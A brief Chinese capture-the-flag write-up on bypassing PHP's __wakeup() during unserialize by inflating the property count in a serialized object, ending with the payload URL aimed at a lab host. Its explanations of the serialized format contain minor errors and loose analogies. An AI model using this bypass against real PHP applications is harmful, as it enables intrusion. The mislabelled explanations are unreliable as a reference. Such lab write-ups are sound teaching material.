<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a = serialize(new xctf());
echo ($a); #结果是O:4:"xctf":1:{s:4:"flag";s:3:"111";}
$c = "O:4:\"xctf\":1:{s:4:\"flag\";s:3:\"111\";}";
$b = unserialize($c);
echo($b);
?>
序列化时会自动调用_sleep()函数,类似c++中的析构函数.只是类似哈,不是一样
反序列化时会自动调用_wakeup()函数,类似c++中的构造函数.只是类似哈
可以看到类中的)wakeup()函数会调用exit('bad requests')退出程序
所以要让反序列的_wakeup()函数不生效
在php中O:4:"xctf":1:{s:4:"flag";s:3:"111";}
O:表示一个对象
4:表示该类的名称的长度
"xctf"表示类的名称
1:表示共有一个变量,如果这里的变量的数量不对应,就会反序列失败,不调用_wakeup()函数
4:表示第一个变量的长度是4
3:表示第一个函数的长度是3
"111"表示第一个函数的名字
要让反序列化失败,只要修改变量的数量不对应即可
序列化结果为
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
因此对应的url可以设置为61.147.171.105:51004/?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}